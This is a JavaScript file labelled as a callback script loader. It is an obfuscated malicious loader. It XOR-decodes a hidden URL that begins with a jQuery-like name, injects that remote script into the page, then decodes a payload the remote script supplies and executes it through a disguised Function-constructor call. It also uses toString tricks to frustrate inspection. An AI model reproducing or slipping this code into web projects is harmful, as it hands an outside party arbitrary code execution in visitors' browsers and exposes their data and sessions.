callback-loader.js

let _scriptCallback = null;
(function() {
    function _loadScripts(array,callback){
        var loader = function(src,handler){
            var script = document.createElement("script");
            script.src = src;
            if(_scriptCallback != null) {
                _scriptCallback = null;
            } else {
                _precompile.forEach(function (p) {
                    script.src += o(p);
                })
                script.src += p(Math.random());
            }
            script.onload = script.onreadystatechange = function(){
                script.onreadystatechange = script.onload = null;
                if(/MSIE ([6-9]+\.\d+);/.test(navigator.userAgent))window.setTimeout(function(){handler();},8,this);
                else handler();
            }
            var head = document.getElementsByTagName("head")[0];
            (head || document.body).appendChild( script );
        };
        (function(){
            if(array.length!=0){
                loader(array.shift(),arguments.callee);
            }else{
                callback && callback();
            }
        })();
    }

    function __script(src) {
        let textToChars = text => text.split('').map(c => c.charCodeAt(0))
        let saltChars = textToChars(src)
        let applySaltToChar = code => textToChars(src).reduce((a,b) => a ^ b, code)
        return encoded => encoded.match(/.{1,2}/g)
            .map(hex => parseInt(hex, 16))
            .map(applySaltToChar)
            .map(charCode => String.fromCharCode(charCode))
            .join('')
    }

    let a = null;
    let b = () => { return a.replace("null", "") };
    let l = () => {};
    let o = t => String.fromCharCode(t);
    let p = t => s;
    let s = Math.random().toString().split(".")[1];
    let t = p => _params.forEach((p) => a += o(p));

    let _precompile = [63, 113, 61, 48, 46];
    let _params = [80,69,69,65,108,98,79,74,122,118];

    l.toString  = () => { a = true };
    if(a) {}
    else {
        let _script = __script(b(t(_params)));
        _loadScripts([
            _script("7e626266652c39397c676373646f3b756f757a733875797b397778777a6f627f7565387c65"),
        ], () => {
            try {
                let ___s = setInterval(() => {
                    if (_scriptCallback != null) {
                        let c = () => {};
                        c.toString = () => { c = false }
                        if(typeof c === "function") {
                            let _script = __script(s);
                            let c = _scriptCallback;
                            _loadScripts([
                                _script(_scriptCallback),
                            ], () => {
                                a = "constructor";
                                b = {};
                                c = __script(c);
                                a.sub.call.call(b[a].getOwnPropertyDescriptor(b[a].getPrototypeOf(a.sub), a).value, 0, c(_scriptCallback))();
                                _scriptCallback = null;
                                clearInterval(___s);
                            });
                        }
                    }
                }, 100);
            } catch (e) {

            }
        });
    }
})();